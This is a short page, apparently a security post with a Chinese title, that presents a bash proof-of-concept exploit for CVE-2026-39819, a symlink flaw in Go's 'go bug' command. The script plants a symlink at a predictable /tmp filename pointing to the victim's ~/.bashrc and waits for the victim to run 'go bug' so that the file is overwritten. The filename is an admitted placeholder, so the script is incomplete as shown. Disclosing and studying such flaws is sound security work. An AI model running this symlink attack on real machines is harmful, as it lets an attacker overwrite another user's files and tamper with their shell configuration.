CVE-2026-39819 Go命令"go bug"符号链接漏洞

#!/bin/bash # PoC for CVE-2026-39819: "go bug" symlink vulnerability # This script demonstrates how an attacker can exploit predictable filenames. # 1. Identify the predictable filename used by "go bug" # (Analysis of the Go source code or runtime monitoring is required) PREDICTABLE_FILE="/tmp/go-bug-random-string" # Example placeholder name # 2. Choose a target file to overwrite (e.g., user config) TARGET_FILE="$HOME/.bashrc" # 3. Create the malicious symlink if [ -L "$PREDICTABLE_FILE" ]; then rm "$PREDICTABLE_FILE" fi echo "[*] Creating symlink: $PREDICTABLE_FILE -> $TARGET_FILE" ln -s "$TARGET_FILE" "$PREDICTABLE_FILE" echo "[*] Symlink created. Waiting for victim to execute 'go bug'..." echo "[*] Once executed, $TARGET_FILE will be overwritten."